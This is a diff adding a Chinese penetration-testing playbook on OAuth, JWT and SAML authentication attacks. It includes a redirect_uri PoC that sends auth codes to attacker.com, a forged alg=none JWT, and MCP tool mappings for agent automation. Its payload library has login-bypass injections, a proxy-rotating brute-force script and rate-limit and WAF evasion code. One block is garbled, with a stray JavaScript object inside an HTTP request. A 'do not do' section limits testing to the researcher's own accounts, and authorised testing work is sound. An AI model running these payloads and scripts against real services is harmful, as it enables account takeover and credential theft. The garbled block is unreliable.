<saml:Assertion Signed>
|
|
141
|
+
<saml:Subject>victim</saml:Subject> ← 已签名
|
|
142
|
+
</saml:Assertion>
|
|
143
|
+
<saml:Assertion>
|
|
144
|
+
<saml:Subject>admin</saml:Subject> ← 未签名,但应用可能用这个
|
|
145
|
+
</saml:Assertion>
|
|
146
|
+
</samlp:Response>
|
|
147
|
+
|
|
148
|
+
<!-- KeyInfo 注入 -->
|
|
149
|
+
<!-- 自己生成密钥对,把 X.509 证书塞进 KeyInfo -->
|
|
150
|
+
|
|
151
|
+
<!-- Recipient/Audience/InResponseTo 不校验 -->
|
|
152
|
+
<!-- Response 未签名(仅 Assertion 签了) -->
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
工具:`SAMLRaider`(Burp 插件)。
|
|
156
|
+
|
|
157
|
+
### 3.6 OIDC discovery 探针
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
curl https://target/.well-known/openid-configuration
|
|
161
|
+
|
|
162
|
+
# 看 jwks_uri 是否能被外部控制
|
|
163
|
+
# 看 issuer 是否能被改
|
|
164
|
+
# 看是否允许 alg=none
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
---
|
|
168
|
+
|
|
169
|
+
## 4. Bypass 矩阵
|
|
170
|
+
|
|
171
|
+
| 拦 | 绕 |
|
|
172
|
+
|---|---|
|
|
173
|
+
| redirect_uri 字面比较 | 子串、@ 字符、URL 编码、CRLF、子域 |
|
|
174
|
+
| state 必填 | 看是否真校验或只是占位 |
|
|
175
|
+
| PKCE 必启用 | 看授权请求是否真带 code_challenge |
|
|
176
|
+
| JWT alg=RS256 | 改 HS256 用公钥;改 alg=none |
|
|
177
|
+
| 服务端校验 jku 域 | DNS Rebinding |
|
|
178
|
+
| SAML Response 验签 | XSW 包裹 / 修改未签名节点 |
|
|
179
|
+
| 设备码限频 | 多 client_id 轮询 |
|
|
180
|
+
|
|
181
|
+
---
|
|
182
|
+
|
|
183
|
+
## 5. 利用提权 / 横向
|
|
184
|
+
|
|
185
|
+
```
|
|
186
|
+
redirect_uri 绕过 → code 给攻击者 → 换 token → 用 token 调 API
|
|
187
|
+
state 缺失 → CSRF 登录绑定 → 受害者数据归攻击者账号
|
|
188
|
+
JWT 伪造 → 任意用户身份 → 后台、API 全部沦陷
|
|
189
|
+
SAML XSW → 把 Subject 改成 admin → 直接进管理后台
|
|
190
|
+
```
|
|
191
|
+
|
|
192
|
+
---
|
|
193
|
+
|
|
194
|
+
## 6. 真实案例指纹
|
|
195
|
+
|
|
196
|
+
| 案例 | 一句话 |
|
|
197
|
+
|------|------|
|
|
198
|
+
| Slack OAuth | `redirect_uri` 子串校验,加 `@` 旁路 |
|
|
199
|
+
| Microsoft OAuth | `redirect_uri` 多次报告 |
|
|
200
|
+
| Auth0 | `state` 缺失导致 CSRF |
|
|
201
|
+
| 多个 SaaS | `kid` 路径遍历到 `/dev/null` |
|
|
202
|
+
| 某 Java SAML 实现 | XSW 攻击 |
|
|
203
|
+
| OWASP JuiceShop | JWT alg=none |
|
|
204
|
+
|
|
205
|
+
通用指纹:
|
|
206
|
+
- 授权请求里 `redirect_uri` 接受 `https://target.com@evil.com` 不报错 → 漏洞
|
|
207
|
+
- JWT header 含 `"alg":"RS256"`,改成 `"alg":"none"` 应用仍接受 → P0
|
|
208
|
+
- JWKS 端点返回 `kid` 列表,应用允许任意 `kid` 选 → 伪造
|
|
209
|
+
- SAML Response 的 `Recipient` 不被校验 → 重放
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## 7. 复现 / 证据要点
|
|
214
|
+
|
|
215
|
+
### 7.1 PoC 模板(redirect_uri 绕过)
|
|
216
|
+
|
|
217
|
+
```
|
|
218
|
+
# 1. 触发授权
|
|
219
|
+
GET /oauth/authorize?client_id=xxx&response_type=code&redirect_uri=https://target.com@attacker.com/cb&state=1
|
|
220
|
+
|
|
221
|
+
# 2. 浏览器跳转到
|
|
222
|
+
Location: https://target.com@attacker.com/cb?code=AUTHCODE&state=1
|
|
223
|
+
|
|
224
|
+
# 3. 攻击者收到 code
|
|
225
|
+
attacker.com 日志:
|
|
226
|
+
GET /cb?code=AUTHCODE&state=1
|
|
227
|
+
|
|
228
|
+
# 4. 用 code 换 token
|
|
229
|
+
POST /oauth/token
|
|
230
|
+
grant_type=authorization_code&code=AUTHCODE&redirect_uri=...&client_id=xxx&client_secret=...
|
|
231
|
+
|
|
232
|
+
→ 拿到 access_token 即证明,不实际调用业务 API
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
### 7.2 PoC 模板(JWT alg=none)
|
|
236
|
+
|
|
237
|
+
```
|
|
238
|
+
原 JWT:
|
|
239
|
+
eyJhbGciOiJSUzI1NiIs...
|
|
240
|
+
|
|
241
|
+
伪造(alg=none,sub=admin):
|
|
242
|
+
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 → eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
|
|
243
|
+
echo -n '{"sub":"admin","exp":9999999999}' | base64 -w0 → eyJzdWIiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0
|
|
244
|
+
拼接:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.
|
|
245
|
+
|
|
246
|
+
请求:
|
|
247
|
+
Authorization: Bearer <伪造 token>
|
|
248
|
+
|
|
249
|
+
→ 服务端响应 200 + admin 权限内容(脱敏截图)
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
### 7.3 CVSS
|
|
253
|
+
|
|
254
|
+
```
|
|
255
|
+
redirect_uri 绕过 → 账号接管 = 8.1 / 9.1 High–Critical
|
|
256
|
+
state 缺失 → 登录绑定 CSRF = 6.1
|
|
257
|
+
PKCE 缺失(移动) = 5.4
|
|
258
|
+
JWT alg=none = 9.8 Critical
|
|
259
|
+
JWT HS/RS 混淆 = 9.8 Critical
|
|
260
|
+
SAML XSW = 9.8 Critical
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
### 7.4 影响段
|
|
264
|
+
|
|
265
|
+
```
|
|
266
|
+
通过 /oauth/authorize 接口的 redirect_uri 参数,使用 `https://target.com@attacker.com/cb`
|
|
267
|
+
形式可绕过域名校验,将授权码定向至攻击者控制的域。攻击者可:
|
|
268
|
+
1. 诱导受害者点击恶意授权链接;
|
|
269
|
+
2. 受害者在 IdP 完成登录后,code 被发送到 attacker.com;
|
|
270
|
+
3. 攻击者用 code 换取 access_token,完整接管受害者账号。
|
|
271
|
+
|
|
272
|
+
测试时使用了攻击者控制的两个账号(攻击者 + "受害者"均为研究员账号),
|
|
273
|
+
未触及任何真实用户。
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## 相关 MCP 工具
|
|
279
|
+
|
|
280
|
+
实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。
|
|
281
|
+
|
|
282
|
+
| 工具 | 域 | 调用时机 |
|
|
283
|
+
|---|---|---|
|
|
284
|
+
| `mcp__jshook__network_extract_auth` | network | 自动从抓包中提取 JWT / OAuth token / cookie |
|
|
285
|
+
| `mcp__jshook__binary_encode` + `mcp__jshook__binary_decode` | encoding | JWT header / payload base64 改写,签名段单独处理 |
|
|
286
|
+
| `mcp__jshook__network_replay_request` | network | 修改 redirect_uri / state / nonce 重放 |
|
|
287
|
+
| `mcp__jshook__debugger_evaluate` | debugger | 在前端追 SAML 断言 / JWT 解析逻辑 |
|
|
288
|
+
| `mcp__jshook__detect_crypto` + `mcp__jshook__crypto_extract_standalone` | core / transform | 提取签名函数离线复算 |
|
|
289
|
+
|
|
290
|
+
完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md)
|
|
291
|
+
|
|
292
|
+
## 8. 不要做的事
|
|
293
|
+
|
|
294
|
+
- **禁**:用 redirect_uri 绕过实际抓真实用户的 code(即使是诱导朋友点击也不行)。用自己的两个账号自演。
|
|
295
|
+
- **禁**:JWT 伪造 admin 后实际操作管理后台(删除、修改、创建)。仅证明 200 + admin 内容。
|
|
296
|
+
- **禁**:SAML XSW 后实际进行高权限操作。
|
|
297
|
+
- **禁**:在 jku 注入 PoC 中托管真实 jwks 长时间在线(用完即删)。
|
|
298
|
+
- **限**:JWT 暴力破解只在自己拿到的 token 上离线进行,不要在线打 IdP。
|
|
299
|
+
|
|
300
|
+
## H1 真实案例
|
|
301
|
+
|
|
302
|
+
_共 240 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
|
303
|
+
|
|
304
|
+
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
|
305
|
+
|---|--:|---|---|---|
|
|
306
|
+
| Critical | — | Shopify | [Takeover an account that doesn't have a Shopify ID and more](https://hackerone.com/reports/867513) | Details The https://pos-channel.shopifycloud.com/graphql-proxy/admin can be exploited to update a staff member email without an… |
|
|
307
|
+
| Critical | — | Shopify | [Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation to Any …](https://hackerone.com/reports/791775) | I told Pete I would take a look at Spotify, hi Pete. Summary It's possible to take over any store account through bypassing the… |
|
|
308
|
+
| Critical | — | Snapchat | [Improper Authentication - any user can login as other user with otp/logout & otp/login](https://hackerone.com/reports/921780) | '/scauth/otp/droid/logout' request contains user_id parameter. Usually it is equal to current user user_id, but if an attacker … |
|
|
309
|
+
| Critical | — | Shopify | [[Part II] Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation](https://hackerone.com/reports/796808) | Summary In #791775, I submitted a bug at Sunday 5pm Canada time, it was triaged two hours later, and I got the **temp** fix mes… |
|
|
310
|
+
| Critical | — | Flickr | [Flickr Account Takeover using AWS Cognito API](https://hackerone.com/reports/1342088) | Flickr uses Amazon Cognito to implement its login functionality. Furthermore, Flickr does not allow users to change their regis… |
|
|
311
|
+
| High | — | Uber | [Chained Bugs to Leak Victim's Uber's FB Oauth Token](https://hackerone.com/reports/202781) | Chained Bugs to Leak Victim's Uber's FB Oauth Token |
|
|
312
|
+
| Critical | 15000 usd | TikTok | [Incorrect authorization to the intelbot service leading to ticket information](https://hackerone.com/reports/1328546) | Incorrect authorization to the intelbot service leading to ticket information |
|
|
313
|
+
| High | 10500 usd | Superhuman (formerly Grammarly) | [Ability to DOS any organization's SSO and open up the door to account takeovers](https://hackerone.com/reports/976603) | Summary:** There's an interesting issue I've spent quite a few days trying to escalate but can't figure out |
|
|
314
|
+
| High | 13000 usd | Stripe | [Mass Accounts Takeover Without any user Interaction at https://app.taxjar.com/](https://hackerone.com/reports/1685970) | Mass Accounts Takeover Without any user Interaction at https://app.taxjar.com/ |
|
|
315
|
+
| High | 7500 usd | Snapchat | [Stealing SSO Login Tokens (snappublisher.snapchat.com)](https://hackerone.com/reports/265943) | Description Attacker can steal SSO login tokens for snappublisher.snapchat.com by chaining different flaws in SSO and Snapchat’… |
|
|
316
|
+
| High | — | X / xAI | [Bypass Password Authentication for updating email and phone number - Security Vulnerability](https://hackerone.com/reports/770504) | Summary:** [Additional requirement for authentication is an extra layer of security for a person's Twitter account |
|
|
317
|
+
| Critical | 12000 usd | TikTok | [Account Takeover via Authentication Bypass in TikTok Account Recovery](https://hackerone.com/reports/2443228) | Account Takeover via Authentication Bypass in TikTok Account Recovery |
|
|
318
|
+
|
|
319
|
+
**命中本类的 weakness 分布:**
|
|
320
|
+
|
|
321
|
+
- Improper Authentication - Generic:123 条
|
|
322
|
+
- Uncategorized → 手工归类:30 条
|
|
323
|
+
- Cryptographic Issues - Generic:18 条
|
|
324
|
+
- Improper Certificate Validation:12 条
|
|
325
|
+
- Authentication Bypass Using an Alternate Path or Channel:12 条
|
|
326
|
+
- Open Redirect:10 条
|
|
327
|
+
- Insufficient Session Expiration:4 条
|
|
328
|
+
- Reliance on Cookies without Validation and Integrity Checking in a Security Decision:3 条
|
|
329
|
+
- Authentication Bypass by Primary Weakness:2 条
|
|
330
|
+
- Missing Required Cryptographic Step:2 条
|
|
331
|
+
- Authentication Bypass:2 条
|
|
332
|
+
- Use of Hard-coded Cryptographic Key:2 条
|
|
333
|
+
- Key Exchange without Entity Authentication:2 条
|
|
334
|
+
- Reliance on Untrusted Inputs in a Security Decision:2 条
|
|
335
|
+
- Use of a Broken or Risky Cryptographic Algorithm:2 条
|
|
336
|
+
- Session Fixation:2 条
|
|
337
|
+
- Storing Passwords in a Recoverable Format:2 条
|
|
338
|
+
- Plaintext Storage of a Password:2 条
|
|
339
|
+
- Unverified Password Change:2 条
|
|
340
|
+
- Use of Insufficiently Random Values:1 条
|
|
341
|
+
- Missing Critical Step in Authentication:1 条
|
|
342
|
+
- Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG):1 条
|
|
343
|
+
- Weak Cryptography for Passwords:1 条
|
|
344
|
+
- Reusing a Nonce, Key Pair in Encryption:1 条
|
|
345
|
+
- Use of a Key Past its Expiration Date:1 条
|
|
346
|
+
|
|
347
|
+
|
|
348
|
+
## Payload 库
|
|
349
|
+
|
|
350
|
+
_17 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
|
|
351
|
+
|
|
352
|
+
**类别分布:** 认证漏洞 (10) · JWT安全 (4) · 开放重定向 (3)
|
|
353
|
+
|
|
354
|
+
### · 认证漏洞
|
|
355
|
+
|
|
356
|
+
### 认证绕过 `auth-bypass`
|
|
357
|
+
Web应用认证绕过技术
|
|
358
|
+
子类:**认证绕过** · tags: `auth` `bypass` `authentication`
|
|
359
|
+
|
|
360
|
+
**前置条件:** 目标存在认证机制;认证实现存在缺陷
|
|
361
|
+
|
|
362
|
+
**攻击链:**
|
|
363
|
+
|
|
364
|
+
**1. SQL注入绕过**
|
|
365
|
+
_SQL注入绕过登录_
|
|
366
|
+
```
|
|
367
|
+
admin'--
|
|
368
|
+
admin' OR '1'='1
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
**2. 数组绕过**
|
|
372
|
+
_PHP数组绕过_
|
|
373
|
+
```
|
|
374
|
+
user[]=admin&pass[]=admin
|
|
375
|
+
```
|
|
376
|
+
|
|
377
|
+
**3. 类型转换**
|
|
378
|
+
_类型转换绕过_
|
|
379
|
+
```
|
|
380
|
+
# PHP类型转换绕过 - 数组与类型混淆:
|
|
381
|
+
# 1. 数组绕过密码比较(strcmp绕过):
|
|
382
|
+
POST /login HTTP/1.1
|
|
383
|
+
Content-Type: application/x-www-form-urlencoded
|
|
384
|
+
|
|
385
|
+
user=admin&pass[]=1
|
|
386
|
+
# strcmp(array, string) 在PHP中返回NULL,NULL == 0 为true
|
|
387
|
+
|
|
388
|
+
# 2. 松散比较绕过:
|
|
389
|
+
POST /login HTTP/1.1
|
|
390
|
+
Content-Type: application/json,
|
|
391
|
+
|
|
392
|
+
syntaxBreakdown: [
|
|
393
|
+
{ part: ''', explanation: { zh: '闭合引号', en: 'Close quote' }, type: 'char' },
|
|
394
|
+
{ part: 'OR', explanation: { zh: '逻辑或', en: 'Logical OR' }, type: 'keyword' },
|
|
395
|
+
{ part: '--', explanation: { zh: 'SQL注释', en: 'SQL comment' }, type: 'operator' }
|
|
396
|
+
]
|
|
397
|
+
{"user":"admin","pass":true}
|
|
398
|
+
# true == "any_string" 在PHP松散比较中为true
|
|
399
|
+
|
|
400
|
+
# 3. 数字型字符串绕过:
|
|
401
|
+
{"user":"admin","pass":0}
|
|
402
|
+
# 0 == "password_string" 在PHP中为true(PHP < 8.0)
|
|
403
|
+
```
|
|
404
|
+
|
|
405
|
+
**4. JSON绕过**
|
|
406
|
+
_NoSQL绕过_
|
|
407
|
+
```
|
|
408
|
+
{"user":"admin","pass":{"$ne":""}}
|
|
409
|
+
```
|
|
410
|
+
|
|
411
|
+
**5. IP伪造**
|
|
412
|
+
_IP伪造绕过_
|
|
413
|
+
```
|
|
414
|
+
X-Forwarded-For: 127.0.0.1
|
|
415
|
+
X-Original-URL: /admin
|
|
416
|
+
```
|
|
417
|
+
|
|
418
|
+
**6. HTTP方法**
|
|
419
|
+
_HTTP方法绕过_
|
|
420
|
+
```
|
|
421
|
+
# HTTP方法篡改绕过认证:
|
|
422
|
+
# 1. 尝试不同HTTP方法:
|
|
423
|
+
curl -X POST "http://target.com/admin" -v
|
|
424
|
+
curl -X PUT "http://target.com/admin" -v
|
|
425
|
+
curl -X PATCH "http://target.com/admin" -v
|
|
426
|
+
curl -X DELETE "http://target.com/admin" -v
|
|
427
|
+
curl -X OPTIONS "http://target.com/admin" -v
|
|
428
|
+
|
|
429
|
+
# 2. 方法覆盖头:
|
|
430
|
+
curl -X POST -H "X-HTTP-Method-Override: PUT" "http://target.com/admin"
|
|
431
|
+
curl -X POST -H "X-Method-Override: DELETE" "http://target.com/admin"
|
|
432
|
+
|
|
433
|
+
# 3. URL路径穿越绕过:
|
|
434
|
+
curl "http://target.com/admin/..;/admin"
|
|
435
|
+
curl "http://target.com/;/admin"
|
|
436
|
+
curl "http://target.com/%2e%2e/admin"
|
|
437
|
+
```
|
|
438
|
+
|
|
439
|
+
**WAF/EDR 绕过变体:**
|
|
440
|
+
|
|
441
|
+
**1. HTTP方法篡改与路径规范化**
|
|
442
|
+
_使用非标准HTTP方法或方法覆盖头绕过基于方法的访问控制,利用URL路径大小写、双斜杠、点号、编码等规范化差异绕过路径匹配_
|
|
443
|
+
```
|
|
444
|
+
# HTTP方法篡改:
|
|
445
|
+
GET /admin HTTP/1.1 → 403
|
|
446
|
+
POST /admin HTTP/1.1 → 200
|
|
447
|
+
PATCH /admin HTTP/1.1
|
|
448
|
+
OPTIONS /admin HTTP/1.1
|
|
449
|
+
X-HTTP-Method: PUT
|
|
450
|
+
X-HTTP-Method-Override: DELETE
|
|
451
|
+
|
|
452
|
+
# 路径规范化:
|
|
453
|
+
/admin → 403
|
|
454
|
+
/ADMIN → 200
|
|
455
|
+
/admin/ → 200
|
|
456
|
+
//admin → 200
|
|
457
|
+
/./admin → 200
|
|
458
|
+
/admin..;/ → 200
|
|
459
|
+
/%61dmin → 200
|
|
460
|
+
```
|
|
461
|
+
|
|
462
|
+
**2. HTTP/2伪头与请求拆分**
|
|
463
|
+
_利用HTTP/2伪头部(:path等)或X-Original-URL/X-Rewrite-URL头覆盖请求路径绕过反向代理ACL,通过IP伪造头绕过基于来源的认证_
|
|
464
|
+
```
|
|
465
|
+
# HTTP/2伪头绕过:
|
|
466
|
+
:method: GET
|
|
467
|
+
:path: /admin
|
|
468
|
+
:authority: target.com
|
|
469
|
+
X-Original-URL: /admin
|
|
470
|
+
X-Rewrite-URL: /admin
|
|
471
|
+
|
|
472
|
+
# Header注入:
|
|
473
|
+
Host: target.com
|
|
474
|
+
X-Forwarded-For: 127.0.0.1
|
|
475
|
+
X-Real-IP: 127.0.0.1
|
|
476
|
+
X-Originating-IP: 127.0.0.1
|
|
477
|
+
X-Custom-IP-Authorization: 127.0.0.1
|
|
478
|
+
X-Forwarded-Host: localhost
|
|
479
|
+
```
|
|
480
|
+
|
|
481
|
+
---
|
|
482
|
+
|
|
483
|
+
### 暴力破解 `auth-brute`
|
|
484
|
+
自动化密码猜测攻击
|
|
485
|
+
子类:**暴力破解** · tags: `auth` `brute-force` `password`
|
|
486
|
+
|
|
487
|
+
**前置条件:** 无验证码;无锁定策略
|
|
488
|
+
|
|
489
|
+
**攻击链:**
|
|
490
|
+
|
|
491
|
+
**1. Pitchfork**
|
|
492
|
+
_多字段同时爆破_
|
|
493
|
+
```
|
|
494
|
+
Burp Intruder: Pitchfork模式
|
|
495
|
+
```
|
|
496
|
+
|
|
497
|
+
**2. Cluster bomb**
|
|
498
|
+
_笛卡尔积爆破_
|
|
499
|
+
```
|
|
500
|
+
Burp Intruder: Cluster bomb模式
|
|
501
|
+
```
|
|
502
|
+
|
|
503
|
+
**3. 基于响应差异的用户名枚举** _[linux]_
|
|
504
|
+
_通过响应状态码/长度/时间的差异来区分有效和无效用户名_
|
|
505
|
+
```
|
|
506
|
+
# 通过响应长度/时间差异枚举有效用户名
|
|
507
|
+
# 对比有效 vs 无效用户名的响应:
|
|
508
|
+
curl -s -o /dev/null -w "user=admin: code=%{http_code} size=%{size_download} time=%{time_total}s" -d "username=admin&password=wrong" "http://target.com/login"
|
|
509
|
+
|
|
510
|
+
curl -s -o /dev/null -w "user=xxxxx: code=%{http_code} size=%{size_download} time=%{time_total}s" -d "username=nonexistent_user_xxxxx&password=wrong" "http://target.com/login"
|
|
511
|
+
|
|
512
|
+
# 批量枚举(注意响应差异):
|
|
513
|
+
for user in $(cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt); do
|
|
514
|
+
resp=$(curl -s -o /tmp/resp.txt -w "%{http_code}:%{size_download}:%{time_total}" -d "username=${user}&password=test" "http://target.com/login")
|
|
515
|
+
echo "${user}: ${resp}"
|
|
516
|
+
sleep 1
|
|
517
|
+
done
|
|
518
|
+
```
|
|
519
|
+
|
|
520
|
+
**4. 验证码/OTP爆破与绕过**
|
|
521
|
+
_针对OTP验证码的爆破和各种逻辑绕过手法_
|
|
522
|
+
```
|
|
523
|
+
# 场景1: 4-6位数字验证码爆破
|
|
524
|
+
# 检测验证码是否有速率限制:
|
|
525
|
+
for i in $(seq 1 10); do
|
|
526
|
+
code=$(printf "%06d" $RANDOM | cut -c1-6)
|
|
527
|
+
resp=$(curl -s -o /dev/null -w "%{http_code}" -d "otp=${code}" "http://target.com/verify-otp")
|
|
528
|
+
echo "Attempt ${i}: otp=${code} → HTTP ${resp}"
|
|
529
|
+
done
|
|
530
|
+
|
|
531
|
+
# 场景2: 通过修改响应绕过前端验证码校验
|
|
532
|
+
# 抓包修改响应 {"success":false} → {"success":true}
|
|
533
|
+
|
|
534
|
+
# 场景3: 验证码复用(同一验证码多次有效)
|
|
535
|
+
# 获取验证码后,用同一验证码尝试不同账户
|
|
536
|
+
|
|
537
|
+
# 场景4: 验证码泄露在响应中
|
|
538
|
+
curl -v -d "phone=13800138000&action=send_code" "http://target.com/api/sms"
|
|
539
|
+
# 检查响应头/响应体是否包含验证码
|
|
540
|
+
```
|
|
541
|
+
|
|
542
|
+
**5. 分布式暴力破解与IP轮换**
|
|
543
|
+
_使用代理池轮换IP避免被封禁,进行分布式暴力破解_
|
|
544
|
+
```
|
|
545
|
+
# 使用代理池进行分布式爆破:
|
|
546
|
+
import requests
|
|
547
|
+
import itertools
|
|
548
|
+
from concurrent.futures import ThreadPoolExecutor
|
|
549
|
+
|
|
550
|
+
TARGET = "http://target.com/login"
|
|
551
|
+
proxies_list = open("proxies.txt").read().splitlines()
|
|
552
|
+
usernames = ["admin", "administrator", "root", "test"]
|
|
553
|
+
passwords = open("/usr/share/wordlists/rockyou-top1000.txt").read().splitlines()
|
|
554
|
+
|
|
555
|
+
proxy_cycle = itertools.cycle(proxies_list)
|
|
556
|
+
|
|
557
|
+
def try_login(combo):
|
|
558
|
+
user, pwd = combo
|
|
559
|
+
proxy = next(proxy_cycle)
|
|
560
|
+
try:
|
|
561
|
+
r = requests.post(TARGET,
|
|
562
|
+
data={"username": user, "password": pwd},
|
|
563
|
+
proxies={"http": proxy, "https": proxy},
|
|
564
|
+
timeout=10,
|
|
565
|
+
headers={"User-Agent": f"Mozilla/5.0 (rv:{hash(proxy)%90+10}.0)"}
|
|
566
|
+
)
|
|
567
|
+
if r.status_code == 302 or "dashboard" in r.text.lower():
|
|
568
|
+
print(f"[+] FOUND: {user}:{pwd} via {proxy}")
|
|
569
|
+
return (user, pwd)
|
|
570
|
+
except: pass
|
|
571
|
+
return None
|
|
572
|
+
|
|
573
|
+
combos = [(u,p) for u in usernames for p in passwords]
|
|
574
|
+
with ThreadPoolExecutor(max_workers=5) as pool:
|
|
575
|
+
results = list(pool.map(try_login, combos))
|
|
576
|
+
found = [r for r in results if r]
|
|
577
|
+
for f in found: print(f"[+] Valid: {f[0]}:{f[1]}")
|
|
578
|
+
```
|
|
579
|
+
|
|
580
|
+
**WAF/EDR 绕过变体:**
|
|
581
|
+
|
|
582
|
+
**1. 速率限制绕过(HTTP头伪造)**
|
|
583
|
+
_通过伪造X-Forwarded-For等HTTP头绕过基于IP的速率限制_
|
|
584
|
+
```
|
|
585
|
+
# 通过伪造IP头绕过基于IP的速率限制:
|
|
586
|
+
import requests
|
|
587
|
+
import random
|
|
588
|
+
|
|
589
|
+
TARGET = "http://target.com/login"
|
|
590
|
+
headers_rotation = [
|
|
591
|
+
"X-Forwarded-For", "X-Real-IP", "X-Originating-IP",
|
|
592
|
+
"X-Remote-Addr", "X-Client-IP", "X-Remote-IP",
|
|
593
|
+
"CF-Connecting-IP", "True-Client-IP", "Forwarded"
|
|
594
|
+
]
|
|
595
|
+
|
|
596
|
+
def brute_with_header_bypass(username, password):
|
|
597
|
+
fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
|
|
598
|
+
h = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
|
|
599
|
+
for header in headers_rotation:
|
|
600
|
+
h[header] = fake_ip
|
|
601
|
+
r = requests.post(TARGET, data={"username": username, "password": password}, headers=h, timeout=10)
|
|
602
|
+
return r
|
|
603
|
+
|
|
604
|
+
# 每次请求使用不同伪造IP
|
|
605
|
+
passwords = ["admin", "123456", "password", "admin123", "root"]
|
|
606
|
+
for pwd in passwords:
|
|
607
|
+
r = brute_with_header_bypass("admin", pwd)
|
|
608
|
+
print(f"admin:{pwd} → {r.status_code} ({len(r.text)})")
|
|
609
|
+
```
|
|
610
|
+
|
|
611
|
+
**2. 参数污染与大小写绕过**
|
|
612
|
+
_通过参数污染、格式切换、编码混淆绕过WAF对暴力破解的检测_
|
|
613
|
+
```
|
|
614
|
+
# 参数污染绕过:
|
|
615
|
+
# 正常请求(被限制):
|
|
616
|
+
curl -d "username=admin&password=test" "http://target.com/login"
|
|
617
|
+
|
|
618
|
+
# 参数重复(某些后端取最后一个值):
|
|
619
|
+
curl -d "username=admin&username=admin&password=test" "http://target.com/login"
|
|
620
|
+
|
|
621
|
+
# JSON格式切换(如果支持):
|
|
622
|
+
curl -H "Content-Type: application/json" -d '{"username":"admin","password":"test"}' "http://target.com/login"
|
|
623
|
+
|
|
624
|
+
# 大小写混淆:
|
|
625
|
+
curl -d "Username=admin&Password=test" "http://target.com/login"
|
|
626
|
+
curl -d "USERNAME=admin&PASSWORD=test" "http://target.com/login"
|
|
627
|
+
|
|
628
|
+
# Unicode混淆:
|
|
629
|
+
curl -d "username=admin&password=test" "http://target.com/login"
|
|
630
|
+
|
|
631
|
+
# 额外参数注入:
|
|
632
|
+
curl -d "username=admin&password=test&captcha=&token=" "http://target.com/login"
|
|
633
|
+
|
|
634
|
+
# 不同编码:
|
|
635
|
+
curl -d "username=admin&password=test" "http://target.com/login" -H "Content-Type: application/x-www-form-urlencoded; charset=IBM037"
|
|
636
|
+
```
|
|
637
|
+
|
|
638
|
+
---
|
|
639
|
+
|
|
640
|
+
### 会话劫持 `auth-session`
|
|
641
|
+
利用会话管理缺陷劫持或伪造用户会话,获取未授权访问权限
|
|
642
|
+
子类:**会话管理** · tags: `auth` `session` `hijack`
|
|
643
|
+
|
|
644
|
+
**前置条件:** 目标使用基于Cookie或Token的会话管理;可以截获或预测会话标识符;网络通信未完全加密(HTTP)或存在XSS
|
|
645
|
+
|
|
646
|
+
**攻击链:**
|
|
647
|
+
|
|
648
|
+
**1. 会话Cookie属性分析** _[linux]_
|
|
649
|
+
_分析目标会话Cookie的安全属性配置_
|
|
650
|
+
```
|
|
651
|
+
# 检测Cookie安全属性
|
|
652
|
+
curl -v "http://target.com/login" 2>&1 | grep -i "set-cookie"
|
|
653
|
+
|
|
654
|
+
# 检查关键属性:
|
|
655
|
+
# - HttpOnly: 防止JS读取Cookie
|
|
656
|
+
# - Secure: 仅通过HTTPS传输
|
|
657
|
+
# - SameSite: 防止CSRF
|
|
658
|
+
# - Path/Domain: Cookie作用域
|
|
659
|
+
# - Expires/Max-Age: 会话生命周期
|
|
660
|
+
|
|
661
|
+
# 批量分析Cookie:
|
|
662
|
+
curl -c - "http://target.com/login" -d "user=test&pass=test" 2>/dev/null | tail -5
|
|
663
|
+
```
|
|
664
|
+
|
|
665
|
+
**2. 会话固定攻击(Session Fixation)** _[linux]_
|
|
666
|
+
_通过预设sessionId使受害者登录后攻击者可以复用该会话_
|
|
667
|
+
```
|
|
668
|
+
# 1. 攻击者获取一个有效的sessionId
|
|
669
|
+
curl -c cookies.txt "http://target.com/"
|
|
670
|
+
cat cookies.txt | grep -i "session|jsession|phpsess"
|
|
671
|
+
|
|
672
|
+
# 2. 构造包含固定sessionId的链接诱使受害者登录
|
|
673
|
+
# http://target.com/login;jsessionid=ATTACKER_SESSION_ID
|
|
674
|
+
# 或通过Set-Cookie注入:
|
|
675
|
+
# http://target.com/page?lang=en%0d%0aSet-Cookie:%20PHPSESSID=FIXED_SESSION
|
|
676
|
+
|
|
677
|
+
# 3. 受害者使用该sessionId登录后,攻击者直接使用同一sessionId
|
|
678
|
+
curl -b "PHPSESSID=FIXED_SESSION" "http://target.com/dashboard"
|
|
679
|
+
```
|
|
680
|
+
|
|
681
|
+
**3. 会话劫持(HTTP嗅探)** _[linux]_
|
|
682
|
+
_在未加密的HTTP通信中截获会话Cookie_
|
|
683
|
+
```
|
|
684
|
+
# 在同一网络中嗅探HTTP Cookie (需要中间人位置)
|
|
685
|
+
# 使用Wireshark过滤:
|
|
686
|
+
http.cookie contains "session" or http.cookie contains "PHPSESSID"
|
|
687
|
+
|
|
688
|
+
